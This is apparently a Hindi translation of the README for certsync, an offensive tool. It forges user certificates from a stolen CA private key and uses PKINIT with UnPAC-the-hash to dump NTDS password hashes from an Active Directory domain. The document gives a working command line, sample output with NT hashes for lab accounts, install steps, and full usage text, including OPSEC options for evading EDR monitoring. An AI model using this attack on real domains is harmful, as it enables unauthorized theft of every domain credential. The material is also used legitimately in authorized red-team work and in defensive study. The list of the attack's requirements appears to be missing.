
गोल्डन सर्टिफिकेट के साथ NTDS डंप करें और हैश का UnPAC करें
certsync एक नई तकनीक है जो NTDS को दूरस्थ रूप से डंप करने के लिए है, लेकिन इस बार DRSUAPI के बिना: यह गोल्डन सर्टिफिकेट और UnPAC the hash का उपयोग करता है।
यह कई चरणों में काम करता है:
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] LDAP पर उपयोगकर्ता सूची, CA जानकारी और CRL एकत्रित कर रहा है
[*] LDAP में 13 उपयोगकर्ता मिले
[*] braavos.essos.local(192.168.56.23) पर CA ESSOS-CA मिला
[*] CA प्रमाणपत्र और निजी कुंजी डंप कर रहा है
[*] सभी उपयोगकर्ताओं के लिए प्रमाणपत्र तैयार कर रहा है। इसमें कुछ समय लग सकता है...
[*] PKINIT + UnPAC the हैश
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
हम जो सोच सकते हैं, उसके विपरीत, यह हमला बिल्कुल भी धीमा नहीं है।
स्थानीय रूप से:
git clone https://github.com/zblurx/certsync
cd certsync
pip install .
Pypi से:
pip install certsync
BlackArch से:
pacman -S certsync
सभी OS वितरण पैकेज:
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
[-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
[-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]
गोल्डन प्रमाणपत्रों और UnPAC the hash के साथ NTDS डंप करें
विकल्प:
-h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें
-debug DEBUG आउटपुट चालू करें
-outputfile OUTPUTFILE
आधार आउटपुट फ़ाइल नाम
CA विकल्प:
-ca-pfx pfx/p12 file name
CA प्रमाणपत्र का पथ। यदि उपयोग किया जाता है, तो CA प्रमाणपत्र और निजी कुंजी का बैकअप छोड़ देगा
-ca-ip ip address प्रमाणपत्र प्राधिकरण का IP पता। यदि छोड़ा गया तो LDAP में निर्दिष्ट डोमेन भाग (FQDN) का उपयोग करेगा
प्रमाणीकरण विकल्प:
-d domain.local, -domain domain.local
डोमेन नाम
-u username, -username username
उपयोगकर्ता नाम
-p password, -password password
पासवर्ड
-hashes LMHASH:NTHASH
NTLM हैश, प्रारूप LMHASH:NTHASH है
-no-pass पासवर्ड न माँगें (-k के लिए उपयोगी)
-k केर्बेरोस प्रमाणीकरण का उपयोग करें। लक्ष्य मापदंडों के आधार पर ccache फ़ाइल (KRB5CCNAME) से क्रेडेंशियल प्राप्त करता है। यदि मान्य क्रेडेंशियल नहीं मिलते हैं, तो कमांड लाइन में निर्दिष्ट क्रेडेंशियल का उपयोग करेगा
-aesKey hex key केर्बेरोस प्रमाणीकरण के लिए AES कुंजी (128 या 256 बिट)
-kdcHost KDCHOST डोमेन नियंत्रक का FQDN। यदि छोड़ा गया तो लक्ष्य पैरामीटर में निर्दिष्ट डोमेन भाग (FQDN) का उपयोग करेगा
कनेक्शन विकल्प:
-scheme ldap scheme
-ns nameserver DNS रिज़ॉल्यूशन के लिए नाम सर्वर
-dns-tcp DNS प्रश्नों के लिए UDP के बजाय TCP का उपयोग करें
-dc-ip ip address डोमेन नियंत्रक का IP पता। यदि छोड़ा गया तो लक्ष्य पैरामीटर में निर्दिष्ट डोमेन भाग (FQDN) का उपयोग करेगा
OPSEC विकल्प:
-ldap-filter LDAP_FILTER
उपयोगकर्ताओं को डंप करने के लिए LDAP फ़िल्टर। डिफ़ॉल्ट (&(|(objectCategory=person)(objectClass=computer))(objectClass=user)) है
-template cert.pfx प्रमाणपत्र तैयार करने के लिए उपयोग किए जाने वाले आधार टेम्पलेट
-timeout timeout PKINIT कनेक्शन के बीच टाइमआउट
-jitter jitter PKINIT कनेक्शन के बीच जिटर
-randomize प्रमाणपत्र निर्माण को यादृच्छिक बनाएँ। सभी प्रमाणपत्र उत्पन्न करने में अधिक समय लगता है
DSRUAPI की निगरानी अधिक हो रही है और कभी-कभी EDR समाधानों द्वारा प्रतिबंधित किया जाता है। इसके अलावा, certsync को डोमेन प्रशासक का उपयोग करने की आवश्यकता नहीं है, इसे केवल CA प्रशासक की आवश्यकता है।
इस हमले के लिए आवश्यक है:
चूँकि हम उन उपयोगकर्ताओं के लिए PKINIT नहीं कर सकते जो रद्द कर दिए गए हैं, हम उनके हैश डंप नहीं कर सकते।
टूल के व्यवहार को अनुकूलित करने के लिए कुछ विकल्प जोड़े गए:
-ldap-filter: certsync के लिए उपयोगकर्ता नाम चुनने के लिए उपयोग किए जाने वाले LDAP फ़िल्टर को बदलें।-template: पहले से वितरित प्रमाणपत्र का उपयोग करें ताकि उपयोगकर्ता प्रमाणपत्र तैयार करते समय उसकी नकल की जा सके।-timeout और -jitter: PKINIT प्रमाणीकरण अनुरोधों के बीच टाइमआउट बदलें।-randomize: डिफ़ॉल्ट रूप से, प्रत्येक जाली उपयोगकर्ता प्रमाणपत्र में समान निजी कुंजी, क्रमांक संख्या और वैधता तिथियाँ होंगी। यह पैरामीटर उन्हें यादृच्छिक करेगा, लेकिन तैयार करने में अधिक समय लगेगा।